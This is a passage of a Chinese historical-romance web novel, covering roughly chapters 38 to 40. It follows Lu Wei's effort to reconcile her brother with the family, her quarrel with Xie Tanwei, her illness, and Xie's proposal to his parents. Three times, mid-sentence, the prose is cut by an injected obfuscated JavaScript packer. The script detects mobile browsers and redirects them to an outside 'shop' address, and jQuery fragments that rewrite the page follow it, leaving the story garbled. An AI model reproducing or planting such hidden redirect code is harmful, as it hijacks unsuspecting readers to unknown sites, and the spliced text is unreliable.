虽然只是平常一句,虽然谢探微是蒙在鼓里,但露微忽觉一阵委屈涌上心头。 …… 太平坊谢家,谢二郎居住的院子里,谢探微和陆冬至前后站着。给二郎请来的医人进屋诊治有一会儿了,李氏先跟去问了几句,出来时脸色很不好。 “母亲,你先不要过于担心,医人怎么说?” 谢探微想替弟弟受刑时,便能猜到母亲这般神态,可他并不大会劝人,也还是有些自责。和他上回自己被父亲打了二十鞭,完全不是一个心态。 李氏未语先叹,但脸上的忧虑却是多余心疼的,“重倒不重,只怕你父亲回来知道了,罚得比这重得多。” 谢探微听来却略微一愣,似不信,或是不懂,“母亲不怪我没有护好弟弟么?” 李氏也听不懂他这话,反问:“为何怪你?既不是你叫他吃醉的,也不是你要打他的,是他自己犯禁违律,该受,长个教训也好。”说着,李氏又作一叹,摇着头道: “自二郎落榜,你父亲就对他多有责备,说他心思散漫,不求上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598489|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进。他也是自己心里难受,借酒消愁。可这都是他第三次醉酒了,只是之前没闹到犯禁的地步。再这么下去,可怎么好?” 谢探微完全没想到家里是这样的情况。他上次主动回家,还是为沈沐芳打了露微,要来向父母退亲,从未因这些家事回来过。 他也自小认为弟弟在家受尽宠爱,父亲只会对他吹毛求疵,而对弟弟都是舐犊之爱。至于这春闱本就佼佼者众,初试不第根本不算什么,他也毫不觉得父亲会因此求全责备。 谢探微一时不知说什么,可陆冬至从旁听到现在,倒越发看不下去了。他们是二十年的情分,说起来比谢二郎这个亲弟弟还亲。他脑子再不灵光,眼睛也不是瞎的。 谢探微先叫他看住弟弟,就是想一力承担。在京兆府前也明说了,怕弟弟受不住,又怕母亲看不得。明明自己从小受尽了苦楚,又得不到父亲认可,却还是这么顾念家人。 更重要的是,谢探微都不提自己原想替弟弟受刑的事。 “郡主,”既然谢探微自己不说,陆冬至就决定替他说,便上前一步,行礼说道,“原先按律,犯禁之人一律都是鞭二十,都是谢探微上书建言,改了些不好的地方,才变成初犯者鞭五下。尽管如此,他原还想替二公子受刑呢!” 谢探微还略有些出神,陆冬至开口时尚不解,直到听见最后一句才惊觉,想拦,却来不及了。 “大郎,你这是何苦呢?!”李氏顿时满心酸痛,拉住谢探微眼泪都快出来了,“阿娘从放榜的时候就知道了,你心里很疼爱弟弟,可你也是娘的孩子啊,不可以不爱惜自己的!” 谢探微和母亲的关系说来其实都是被父亲的态度影响,他屡屡不领情,也都是因为长久疏远的不习惯。 “母……阿娘,我没有,我,知道了。”谢探微确实还是十分生涩,但嘴角已不自觉地抿起了一丝笑意。 母子间正一片温情,忽然,谢道元出现在了院门下,官服整肃,满脸怒容,已经不用院里的人再多说了。 “德初,你先不要急!”李氏立马迎了上去,挡在路前,但也知丈夫这脾气难过去,又一叹,“你好歹忍一忍,等过几天二郎伤势好些再罚吧!” 然而,谢道元却并没有一味要冲进屋里,目光转到了谢探微身上。谢探微虽才与母亲亲近了些,可一见父亲,还是自知无用,便没有第一个挡上去,只心里预备着一些质问。 谢道元向谢探微走了过去,直到两三步前才停下。谢探微摸不透,就先拱手行了一礼,“父亲。” “周府尹已遣人报与我,说你,想替二郎受刑。” 谁料,父亲的语气竟前所未有的平稳,断续间甚至透着和缓。不仅是谢探微没料到,连李氏也是一脸惊疑,眼睛都不敢眨了。 谢道元轻咳了两声,怒容虽存,也已消半,“他自己做的事让他自己承担,你护不了他一辈子。以后不许再行这等傻事!” 谢探微两眼直愣愣地看着父亲,唯是惶恐。 “听见了没有?” 谢道元又催问了句,目光透出端量,竟又像是关切之意。 “他听见了,大郎肯定知道了!”李氏从目瞪口呆中一下子缓过神,忙推着谢探微,笑脸再也压不住。 见妻子凑上来,谢道元目光不自觉地闪了下,嗓子又清了清,“既听见了,就先留下陪陪你母亲吧,我还有事。” 说完,谢道元也没再等儿子回应,转身离开了院子。 “大郎,你瞧,你父亲一定是看你在这里才消气的!” 谢探微的手臂快被李氏握麻了,终于长长地吐了口气,神思仍没完全平静。 38.苦心 赵启英一直寄居岳家也非长久之计。 事情过去几日,露微开始有了这个想法。因为,她各处留意所谓的议论,没见好,反比之前的声音更杂了。但要解决此事,她也有了些主意,只是先要说服父亲。 一日傍晚,掌灯之际,露微代替点灯的婢女进了父亲书房,父亲见了她,原也未停笔,可还没听她上三句,就不仅放了笔,还起身将她拉到了身边,灯也不让添了。 “你说什么楚王?!谁告诉你的?” 父亲的反应让露微一惊:“不用谁告诉我啊,我不是早就和阿耶提过吗?之前弹劾阿耶的舒正显是楚王的岳丈,楚王妃又和姚宜苏有关系,虽然我没有证据,但就觉得是他们在针对赵家。” 赵维贞暗舒了口气,脸色缓和多了,“那也不必你操心,阿耶也和你说过,朝廷之事与你无关。你长兄那个样子,阿耶早想罚他,就更不必你管了。” 露微抿了抿嘴,牵住父亲:“我不管朝廷之事,管家事还不行?反正阿耶六岁起就让我管家了,现在要即刻剥夺不成?” 赵维贞对女儿心硬不起来,抬手一点她的额头,只道:“你长兄若是能听你的,岂会有这样的事?” “那要是阿兄能听我的,阿耶就让他回来?”露微紧接着道。 “他回来,外头就不议论了?”赵维贞的反问也紧等着呢。 露微虽无十分把握,却觉得值得一试:“那些议论本为挑动阿兄,若阿兄久不回家,只会更成笑话,他岂不更生气?如此流言循环不止,只会更让坏人得逞。” 赵维贞始终不大信,回到书案前坐下,继续提笔,“开明心高气傲,正是不服如今官职,才被闲言左右心智。他若不自行捱过目下的困境,经不起这点波折,一辈子也就止步于此了。” 原来,父亲也是了解长兄的,并不是单为他动手或是某一件事去责罚他。露微更有信心了: “我就当阿耶答应了啊!” 说完,露微迈着轻快的步伐离开了书房。可赵维贞又顿笔抬头,对着门外喟然一叹。 他是知道一切内情的。 …… 露微如今女官的身份,让她可以在皇城之内自由行走。 这日临近午时,东宫课业暂歇,她便悄悄出来去往了吏部的官署,手里还提着一个精致的食盒。不多时到了,正赶上吏部的官员午休,都从各自的职房走出来,在廊下摆开小案用膳。 吏部是没有女官的,于是露微在院中一站就吸引了众人的目光。但她既不胆怯,也正是要让人看见,便越发抬头挺胸,眼睛左右扫视,只为寻找赵启英。 倒也不费事,脚步走到南边一间职房,露微便瞧见了那个熟人,他还在伏案书写,一副两耳不闻窗外事的专注样。 “阿兄!”露微了然一笑,不信他有如此定力,故作高调地唤了声,“我给你带好吃的来了!” 果然,赵启英惊得连手里的笔都滑了,墨迹在纸面滚散,一份书稿都毁了,“你——又想干什么!这里可是吏部!” 赵启英枉自发出切齿之声,却都含在口中不敢放声,目光抖动,又不时关注着外头的动静。露微便更知她是来对了,别的地方都没这个效果。 “我说了,来给阿兄送好吃的呀!”露微歪着脑袋,佯作天真一笑,直接将食盒送进了赵启英怀里,也知他要推开,便很快摁住,借力倾身,凑到了他的面前,眼睛瞪视: “我告诉你赵启英,你最好老老实实听我的!否则,我让你最后这点脸都没地方放!如今外头怎么说都不要紧,但你要是真信了,与家中断绝,那你的好日子还没来呢!” 露微的声音虽低,力度却很重,赵启英显然被前后的反差吓到了,面上愤然犹在,却一点点正在化为惊疑。 露微嘴角泛出笑意,继续道:“我限你两三日内自己回家来,不管你多不乐意,都得给我装得乐意,一路都要带笑脸。还要记得管好你夫人的嘴,她竟敢埋怨陛下赐你的官职太低,又敢嘲笑太子年幼,如此无知无畏,在家或许没事,可倘若她说顺嘴了,哪天在外头也这么对别人说,你就试试,这天下还有没有比八品主事更末流的官职,甚至也可以再尝尝千里流放的滋味!” 赵启英的脸色褪成了惨白一片。 露微知道自己达到目的了,坐回原位,神色又变回了平常,高声道:“公务繁杂,一时是做不完的,阿兄千万要自珍,该吃饭就吃饭,该下职就下职。等嫂子家的家事了了就早些回家,父亲都想澈儿了,他还说,不行就把舅郎接来同住,反正本就是亲戚。” 说完,露微也回头瞧了眼,盯在门口的许多双眼睛瞬间就散开了。她觉得这场戏应该是让他们满意的。 “阿兄趁热吃,我还要回去侍奉太子,便走了。” 露微将食盒打开,一层层的菜肴都端了出来,又把一幅筷子塞进了赵启英僵硬的右手。而直到露微走出职房,赵启英都说不出一句话。可这是最不要紧的。 复过廊下,还是有眼睛暗暗瞥她,她脑筋一转,便反而正大光明地一一回礼,说道: “阿兄一向承蒙各位官人照拂,露微在此替兄谢过。今日我备下的菜肴尚算可口,诸位若不介意,阿兄也甚愿与诸位分享。” 但自然,是没人会去分享的,只是都在眼神中对露微增添了些许或感佩或惊叹的意思。 露微都没再理会,转出连廊,走向吏部大门。然而—— “赵学士留步。” 忽然有一人追了出来。露微便顿步回头,却先见一幅撑开的伞面,待伞举起,方见其人: “杨员外?找我有事?”先前在里头,露微倒没关注过杨君游在不在。 杨君游温和一笑,向露微送去伞把,“拿着,你没发现下雨了吗?” 露微这才抬头,伸出手掌感受,果然有些雨点,也不大,“刚下吧,没事,东宫很快就走到了。” 杨君游仍将伞送了过去,却又道:“我送送你,有些话想说。” 露微不好再拒,接过伞与杨君游一起往外走,但见他并无第二把伞,便将伞稍稍向他侧了些去,“杨员外不妨直言。” 杨君游先一叹,说道:“开明的情况我都知道,也曾劝他,却无用。我没想到你今天能这样做,做得真好,如此流言便可不攻自破。你的这份苦心,想必开明也会早日想通的。” 杨君游和赵启英的关系露微是清楚的,却也没想到杨君游能有此心,感喟道: “杨员外真是通透之人。我虽不知流言从何而起,但近来赵家正在风头上,也是无可避免。我总想父亲年迈,实在不能再受风波,他就阿兄这么一个儿子,岂能父子反目?于我自己并没什么,反正赵家以后还是要交到阿兄手里,承续下去。” 杨君游听来,眼睛里尽是赞赏,“家业传续,自是靠子弟延庆,然则我以为,女儿也从来不是外人。就如你,道理切至,言辞豁达,可以称得上贤媛,亦为家门之幸。” 露微倒没想这些,听得脸上发烧,一笑掩饰,“那既然杨员外愿意留心我阿兄,那今后可否请杨员外闲暇之余,稍加看护,不让他再言行有失?” “你放心。”杨君游不假思索。 …… 将人送到通往东宫的夹道口,杨君游便不能再往前去了。雨还在下,露微还伞他也未收,等回到吏部,官服都半湿了。 “君游啊。” 杨君游正要回职房擦拭整理,不料还在廊下就被从后叫住。他听声音就知道是尚书谢道元,连忙回身行礼。 然而,谢道元只是对他一笑,似乎并无正事,“君游,我看过你的履历,杨司业教子有方,你是二十二岁就中了进士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606984|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧?和赵启英是一样的。” 杨君游到任不久,还不大深知长官,只是素日公务,看得出谢道元勤勉正直,颇有才能,心里是当做尊长敬服的。 杨君游是第一回被问起私事,想来谢道元应是看见了露微来送饭,也看见自己将人送了出去。但他听小妹说过,露微落难时曾受谢家恩惠,谢家应该是清楚赵家家事的。 他便也没什么可避讳的,坦然道:“下官确实和开明一样,既同榜也同庚,早有交情,与他的家人也相识。” 谢道元微微抬了抬眉头,似乎略微小惊,顿了顿又问:“哦,原来如此有缘,同榜同庚,如今又共事,那你们的孩子也差不多大了吧?或许将来更有缘分。” 杨君游一时懵住:“回尚书,开明虽早娶有子,可下官尚未成婚,就更没有孩子了。” 谢道元脸色一凝,神情不可揣测。 …… 夹道口前去是东宫的宫门,往西穿过廊道,却有一片莲池。目下还不到赏莲的季节,四周静谧,池面漂浮着去岁败落的残枝,也倒映着露微和谢探微的身影。 “你想问就直说,不是看见了吗?” 与杨君游才道别,谢探微就随后出现叫住了露微。午时才过,他是回来换防报备的,而吏部南院与金吾卫官署都在一条横道上,杨君游与露微撑伞而过时,他恰好看见了。 然而,叫住了人却久未发言。 “他是贤儿的长兄,吏部员外郎杨君游。”露微早把谢探微这点小私心看穿了,等得不耐烦,直接说了。 “那,那你去吏部找他,干什么啊?”终于,谢探微开口了,但也把心虚写在脸上。 露微叹了声,只好把事情说了一遍,心里却也愈发烦躁,“你是信不过我吗?你看我何时管过你的行踪了?” 谢探微近来忙得很,除了上职,更有密事,与露微上次见面已有多日,又见她与一男子同撑一把伞,难免情急了些。 “微微,我没有。”他想去牵住露微的手,被躲开了,低了低眼睛,却又道:“我不是同你说过,让你不要管赵启英的事了吗?他能知好歹?” 若谢探微单是那点小心思,露微或许也不会如此心烦,可她心里其实压着件委屈事,不见面不觉,此刻已不自控地显现了出来: “就许你替你弟弟受刑,却不许我劝我阿兄回家,这是什么道理?你弟弟知道好歹,醉酒犯禁闹到京兆府也不怕,反正有你这个冤大头顶着!我阿兄是不知好歹,但议论纷然,我家却吃罪不起,我竟甚为遗憾,怎么我就没有你这样能顶事的长兄呢?!” 谢探微是完全没发觉上回自己对露微有所疏失的,于是这话听来就像是耳边的惊雷,复杂得让他都懵了,不知先说哪个好。 “为弟弟受刑的理由我已经解释了,况且你也拦了,为什么还这么说?赵启英的事能一样吗?我叫你放心,这些议论都是一时的,你偏要都揽在自己身上,你能顶一百个赵启英,但他自己糊涂也是无用。我可以给你顶事,但不能做你兄长,不要说这样的气话。” 半晌,回过神的谢探微还是苦口婆心地劝了一遍,可看似说得无所遗漏,却只见露微的脸色越来越差: “你叫我放心,我就放心,你做什么了能让我放心?光动嘴吗?连杨君游一个不相关的人都知道,我去示好能化解流言,他赞我做得好,明白我一片苦心,可你呢?只会计较我与他撑伞的小节,毫无风度!谢探微,你不了解的事多着呢,少自以为是了!” 谢探微到这时才明白,露微真的不是说气话,而这番话也无疑在他心头深深扎进了一根芒刺。 “你的意思是,我不如杨君游?” 露微的气息颤了颤,望着谢探微半是质问,半已黯然的目光,将手中伞骨握得吱吱作响: “于此事上,就是不如。” 39.还镯 谢探隐自受刑后,几天来都在院中一步未离,所来探看的,唯有母亲李氏而已。当着母亲,他只是躺着不大说话,可看似消沉,一待李氏离开,他却忽然坐了起来。 “二郎,你……这是怎么了?!”贴身跟随的小奴宁英一直在塌下侍奉,乍见此状,惊得眼睛一圆。 谢二郎瞥了他一眼,冷笑了声:“阿娘走了,我装可怜给谁看啊?我这偶一失足,倒让长兄占尽了人和。” 宁英松了口气,主子的心思他倒是由来清楚。而且,他主子受刑那天,众人在院里说的话都清晰地传到了屋里,但凡是谢家知道底细的人,都看得出,家翁说了句软话,与长公子的关系缓和了。 “其实从小到大,家翁和郡主都最看重长公子,如今只是彼此找个台阶下。二郎不如就随他们去,反正长公子是武将,与你道不相同,没什么可争的。” 谢探隐若能这样想,也不会积攒如此心思,不屑道:“一样父母,一样出身,就是比他小了三四岁,将来偌大的家业是他的,爵位尊荣也是他的,凭什么?他是从小不在家,可就是因为他不在,才更被阿耶阿娘挂念,谁把我的感受看在眼里了?!” 宁英不敢反驳,只小心问道:“那二郎打算怎么办?好歹先避过这阵风头,免得更被拿住把柄啊。” 不提这话还好,一听后头这句,谢探隐脑中忽然浮现出一个人来,忖度着道: “我自问也不曾显露什么,可那天,那个赵露微好像是故意来看我出丑的。阿兄原是叫人拦住我,她却纵着我。她若真怕阿兄替我,怎么自己不进来拦,还在京兆府外一副悠闲态度,又让阿兄送我回来,替我解释,这怎么看都像是有意为之。” 宁英自也听说过这个颇为传奇的赵娘子,说道:“能当女学士的人自然不简单,她要是真的嫁过来,只怕家翁和郡主也都会被她拿住,那二郎你的日子岂不更难过?” 这话是说到了二郎心坎上,他不禁捏紧了拳头:“不必等以后,阿娘早就偏她了!一个嫁过人的残花败柳不知哪一点配得上我家的门第?阿兄也是边地呆久了,一来咸京见了个女人就痴迷上了,像个没见过世面的村夫!” 光如此说,二郎却也一时没有排解的法子,宁英看得不忍心,想想说道: “反正近几日家翁都没回来过,不若二郎还是出去散散心,只别再吃酒误事就好。昨日我出去,还碰见那个罗新公子问起你的伤势,倒是十分关心。” 谢探隐听罢稍稍展了展臂膀,想这罗新本是与他一起落榜的士子,二人在酒肆一同买醉结识,来往之间也算投机,“好啊。” …… “我都来了两回了,总算见阿姊醒着了!” 露微的寝房中,杨淑贤满面忧容地伏在卧榻之侧。 露微病了,病势汹汹。先是夜里突发高热,自己忍到早上并不见退,反又添了气血瘀滞之症,腹痛呕吐,难进食药。如今虽清醒了些,也还是毫无起身之力。 “你吵死了,我能不醒吗?”露微侧卧着,强作一笑。 杨淑贤看着露微泛红的脸颊,知道是高热烧出来的,便触手一试,竟烫手:“陛下不是赐了太医令来医治吗?为什么治不好呢?什么人能经得起这样烧!” 露微只觉浑身沉重,但脑袋却是轻飘飘的,也不知病从何起,反正自去了吏部那日回来就这样了,“这几天我不清醒,也不知我阿兄他们可回来了?” 淑贤每天都来赵家,当然是清楚的,但答得不情不愿:“昨天回来的,他还在赵伯父书房前跪了许久呢,自作自受。” 露微轻舒了口气,“外头案旁有把伞,是你阿兄借给我的,你帮我带回去还给他吧。” 淑贤知道这件事,不忙,只先拧了块凉水巾子给露微擦拭,“我看你就是操心太过,一把伞算什么。” 露微眼色一顿,心想就是这把伞才惹出了那天的事,不知那个人连日如何,可她当时说下狠话,也当真是觉得难过。 现在想来,也是。 “阿姊,你说了这些,怎么都不提谢探微?陛下都派了医官了,他还能没听说你的病?” 淑贤唯是不知这件内情,只觉得露微病沉至此,该是需要真正能宽慰她的人的,然而,也知谢探微进不了赵家内院,“你有什么话要对他说?我给你跑一趟!” 露微走神了,缓而只是将身体转了一侧。淑贤不解,又起身凑近去看,竟见泪珠从露微眼角滑落。 “怎么了?又疼了吗?我去叫医官!” “不必!” 淑贤说着就要往外跑,露微虽无力气,慢了一步却也扯住了淑贤身上的披子。 淑贤原地愣怔住,却很快看出端倪,俯身回去,抓住了露微的手,“阿姊有事瞒我?” 露微神情痛苦,却不全因病痛,刚刚一急,额上反而发出了细汗。喘息良晌,她还是将前因后果慢慢告诉了淑贤。 “他虽不知他弟弟的为人,可我见他先走时,就觉得很委屈。所以那天说话也没有很客气,就算我知道他会怎么想,却还是不想那么憋屈。贤儿,我做错了吗?” 杨淑贤对谢探微的印象一直都还不错,便细细听来,却是觉得复杂:“我原以为,只要他真心相待,一切都不成问题。可如今看来,他毕竟不只是晏将军的义子。阿姊,你要跟了他,日后单是周全那一大家子的人情就不是件易事。” 果然淑贤是知己,能一针见血地点破她的感受,几件事都只是表象,“你不知道,其实我阿耶至今也没有点头,我提了几次,他的态度都很模糊。他还说,谢家是豪门,人情复杂,我又是再嫁,怕是齐大非偶。” “那阿姊会放手吗?” 淑贤伸手捋开露微额上粘住的发丝,一叹,目光划过枕侧,望见一只镶金玉镯。她认得,这就是谢探微送给露微的信物,也知道露微当了女官后才脱了下来。 “我不知道,好累,也许是我想多了。” 淑贤没再多问,起身替露微掖了掖被子,“事事都揽在自己身上,用心过度,你不累谁累?” …… 等露微昏沉睡去,杨淑贤便离开了赵家,手里握着露微枕侧的镶金玉镯,是不动声色带出来的。她还是想替露微跑一趟。 然而,正当她走至赵府门前,与驾车小奴交代去向时,竟忽见陆冬至奔到了眼前,而也不必开口问话,这人身后,谢探微也在。 那便正好。 “贤儿,我们就等你出来呢!露微到底怎么了呀?”陆冬至一脸慌急,看看淑贤又看看谢探微: “将军连日上朝不见太傅,一问才知道,听说是有好几天了,陛下都让太医令过来了,到底有多严重啊?!” 淑贤一时都不答,也知道陆冬至都是替谢探微问的,便眼神示意谢探微,将人带远了些。 “很重,太医令也治不好。”淑贤面色冷静,掩在袖下的手将玉镯握得极紧。 “治不好,是什么意思?”谢探微的脸上看不出神色,却一开口,高大的身躯随之一晃。 淑贤抿了抿唇,目光平稳直视:“气血阻滞,腹痛不止,到现在还在发高热,莫说是水米,药也喂不进去,你说是什么意思?” “我不信!”谢探微一笑,两手的关节握得发出脆响,“三天前她还是好好的,她肯定是生我的气,故意骗我着急!” 淑贤果见谢探微自己提到这件事,心下了然,“你可以去太医 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13624203|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 署问问阿姊的病案,你看我有没有骗你。”说着,她便缓缓举出了手里的镯子: “刚刚阿姊醒了半刻,便叫我拿这个还给你。她说,谢家门高势大,人情复杂,自己又嫁过人,难免齐大非偶。如今病势日沉,恐将不起,索性退还此物,与君长诀。” 若说谢探微刚刚尚有几分怀疑,可看见这桃花玉镯时,便顿觉天昏地暗,一切喧闹都汇成了刺耳的盲音,划破了他的胸膛,震碎了他的脏腑。 …… “贤儿,你为什么要和他那样说啊?我都没见过一个活人的脸色可以一眨眼变成尸体那样!” 将军府中堂外的廊檐下,杨淑贤和陆冬至并肩坐着。 陆冬至一直再为刚刚的情形后怕。谢探微听了杨淑贤的话忽然就支撑不住,跪倒在地,若不是晏令白及时赶到,这人或许就要爬进赵府的大门去。 “我只是……”淑贤显然是有些自作主张的,却也只是想试试谢探微的底,没想到下手重了。 “可阿姊真的病得很重,不清醒时只捂住肚子喊疼,汤药一口都喂不进。身上烫的吓人,只能叫婢女不停地用凉水给她擦着降温。她那副身架子,早在姚家时就吃尽了苦头,哪里经得起这样的病?我也是被她吓怕了,昏头了。” 陆冬至倒不是责怪淑贤,看她伤怀失神的模样,十分不忍:“没事了没事了,我也只是没见过谢探微那样,他反正吓不死,你说也就说了。” 淑贤沉沉地叹了一声,眼中闪出泪光:“你不会懂的。” 陆冬至愣了愣,不知为何,心都抖了一下,“你说得那一堆词,我就记住一个‘人情复杂’,可他们两个哪里复杂了?” 果然这人不懂,还这样曲解,可淑贤看着这个愣头青,反笑出来:“陆冬至,以后谁要是嫁给你了,那日子定是过得无忧无虑的,你不需要知道什么是人情复杂。” 陆冬至脸颊一红,“我,还没想过成婚的事呢!” “那你就抽空想想?” …… 谢探微虽然被晏令白带了回来,可三魂七魄都未归位,而晏令白未必不如他焦心如焚,却又只能强作镇定,周全大局。 “我已经问过淑贤了,她多有夸张之语,也只是为了露微试探你而已。你不能在这个时候计较这些,振作一些吧。” 晏令白就挨着谢探微的身侧,对着他说。但谢探微完全没办法提起心气,眼睛一直低着,望着手里的玉镯。 “夸张之语也是原本有了才能夸张,有何区别?我竟从来不知,她心里有这些想法,还让她一味放心,可见她这场病,我是始作俑者。她那天说得对,我就是光动嘴,自以为是。” 汹涌的情绪一阵高过一阵,晏令白终于难以压抑,起身走到窗下,眼眶渐渐潮湿。他想起了乔晴霞曾对他说过的一句话,“若你当年遵一次调令,也就没有后来的这些事了”,所以,如今的儿女债都是他的报应。 然而,往事难追,大事当前。 “敏识,你并不是什么都没做,只是我不让你告诉她,你要怪就怪阿父吧。露微是个纯粹的孩子,她想做的只是为父分忧。赵太傅已告知我,赵启英既已回家,也是破除流言的法子,你今后不必再盯着他了,我另有安排给你。” 谢探微颇是自嘲地一笑,目光恍惚。他近日是奉命观察赵启英的行踪,可一无所获,心里难免着急。那日与露微争执,多少也是掺杂了这种的情绪的。 “阿父,你一直不曾婚娶,从前是醉心战事,如今便筹谋大局,难道这世上就没有什么人能让你停一停脚步吗?” 晏令白哑口无言。 “阿父没有,可我有!我不想等到失去她了再来后悔。” 40.潜来 自露微起病,太医令陈自和就奉命守在了赵家,可连日也不大见效。这让赵维贞心急如焚,也不禁想到了最坏的结果。 这日才望过女儿,赵维贞便去到了陈自和下榻的院落。院中药味弥漫,陈自和正领着医工门研究用药,一见赵太傅,便忙迎来见礼,但赵维贞只是开门见山: “陈医令,你就同我说句交底的话,我家小女的病究竟还能不能有起色?” 陈自和是积年的老医官了,对各种疑难杂症都多有见识,他不是摸不准露微的病因,而根本是无从切入,叹声道: “太傅,按病理说,令爱的病起于虚劳,又伴有肝气郁结,气血失调,这多是忧思惶恐,情志失和所致。老夫也知,太傅家中近年遭遇大事,令爱应是受此影响。” 赵维贞岂不知这些,眉头深皱,“那这未必是不治之症,这孩子才十七岁啊!” 陈自和沉了沉气,继续道:“自然并非不治之症,但积久而发,也是来势汹汹。令爱如今食不下咽,老夫就算将苦药做成琼浆,她也是进不了口,单靠每日针灸,也只能稳住她的脉息。若不能内外并举,拖延日久,再年轻的身子也恐怕损耗不起。” 赵维贞听明白了,紧接着又问:“这意思是说,只要她能吃进东西就有望?” 陈自和并没点头:“此症病根在忧思,只有她自己敞开心怀,才能一通百通。但老夫却并不知,令爱如今还有何心事不能遣怀,太傅家中不早就平安了么?” 赵维贞猛一恍然,没再多说一字,匆匆又走了。 …… “大郎,什么事不能先跟娘说呢?非要等你父亲回来。” 谢家堂上,谢探微到了有半个时辰了,进门来只说有要事与父母商议,却并不肯单对母亲先说。然而李敬颜也毫不介意,心知他父子间近日不同了,脸上一直笑容不减。 谢探微还是慎重,但也不好不理母亲,想了想只另道:“弟弟伤好了吗?父亲可有再责备他?” 李氏倒露出难色:“罚倒没有再罚,只是你父亲竟有意要将二郎送回扬州老家去,觉得他在咸京游手好闲,虚度光阴。” 谢探微很意外,联想上回父母对弟弟的态度,又不禁疑惑起来,难不成他从来所想所见都只是他的妄断? “长姊虽在扬州,可也有自己的家事要理,弟弟一人回去,谁照顾他呢?”谢探微不知从何问起,便还是关怀起弟弟: “弟弟虽已成年,却从未离过父亲母亲身边,即使扬州是家乡,没有家人看顾,他也定会感到孤单的。他又新落榜,正不得意,就更不能让他独自伤怀了。请母亲多多规劝父亲吧!” 李氏自是不愿让小儿子孤身回乡的,可听来却是满怀对长子的愧疚:“大郎,你从小离家,其实这都是你的感受吧?” 谢探微忽觉失口,然而也正是被说中才如此,沉默的间隙,廊下脚步忽至,父亲回来了。 谢道元早听门房小奴说长公子又回来了,而且是有事等着他,步伐不觉是加快的,可一见面,父子眼神却又很快错开。 “你说吧,有何事。”谢道元清了清嗓子道。 谢探微已见过礼,却还只是笔直地站在中央,但心绪沉静,早已抛开了刚刚所有旁杂的念头: “儿今日来是有件大事,想请两位大人示下,大人知道,儿与赵太傅之女早相属意,儿是必要娶她为妻的。可如今,她身染重病,儿虽不能见,却知道她心思何在。” 谢家早也深知露微生病的事,李氏还想去探望,却碍于其中紧要,不得轻易登门,便听儿子提起,心也跟着吊起来,忙问: “重病?有多严重啊?!” 谢探微换了口气,看了眼母亲,只继续道:“各人出身不能自选,各人遭遇也不能尽意,这是世间常态,无从归错。然则,人生于世,不能免俗,她嫁过人,又非太傅亲女,儿却是这般出身,她难免心怀忧思,恐齐大而非偶。但,是儿动心在先,就必要对她负责。” “哎呀,她怎么能这么想呢!” 李氏更急了,猛想起这件事曾在新岁宫宴后被二郎提过几句,却没论出结果,她也没再多想,也以为像露微那样才貌双全的孩子,大约也不会有自卑之意。 谢探微依旧未停,说着便向父母跪拜了一礼:“儿是想,今后六礼明备,能以晏家为名,不从谢家为聘,便成婚后,也不回家居住,儿会陪她留在本家,让她心中再无负担。” 到此时,端坐堂上的谢道元一直不发一语,他自是不知儿子是来说这番话的,但神色平常得就像事先知晓一样。李氏也望向他,希冀他能下一个完美的论断。 然而,过了半晌,谢道元只是问道:“你怎就知赵太傅愿意将女儿嫁给你?” “儿尚不知。”谢探微答得坦荡,但这是第二步,“若父亲肯答应,儿就去面求赵太傅。” “若我答应你,你便是赵家之赘婿,按礼,应以女之父母为父母,你们所生的子女也须从赵姓,承嗣赵氏宗祧。然而,太傅有一亲子,你们并不得承袭家业,长久何以自立?” 谢探微早已想过,直言道:“儿在意的不是名分家业之事,只当与她一同侍奉太傅终老。儿亦自信,不会久居人下,定会与她开创自己的家业,不占赵家分毫。” 父子的对话让李氏心神颤抖,竟不知要论出个什么稀奇结果。而谢探微本就与家中疏远,如今缓和了,反而要以这种方式,与家中“断绝”么? “大郎……” 正要说什么,谢道元忽然按住了李氏的手,还是自己发问:“你不要赵家的家业,那谢家的也不要了?你是长子,该知道如何继承之法,当真想清楚了?” “养育之恩自不敢忘,大人凡有需要,儿自会担当。但家业承续,不是还有弟弟么?”谢探微不假思索。 …… 谢探微就从父亲口中得了一句“知道了”。虽不能当做是十分肯定的答案,但离开谢家后,他马蹄所向还是崇贤坊赵家。 但,他没去正门,只绕道后巷,去了并不陌生的后院门。 一待宵禁鼓声落定,天色已暗,他便抬手扣响了这扇小门,“笃笃笃”三下,门便从内侧打开了: “公子!快进来!” 开门之人是侍女丹渥,而这番谋划,就是昨日谢探微与杨淑贤大胆定下的。 “她今日如何?醒了几次?能不能吃东西?”才一步踏进来,丹渥还在闭门,谢探微就等不及问起来。 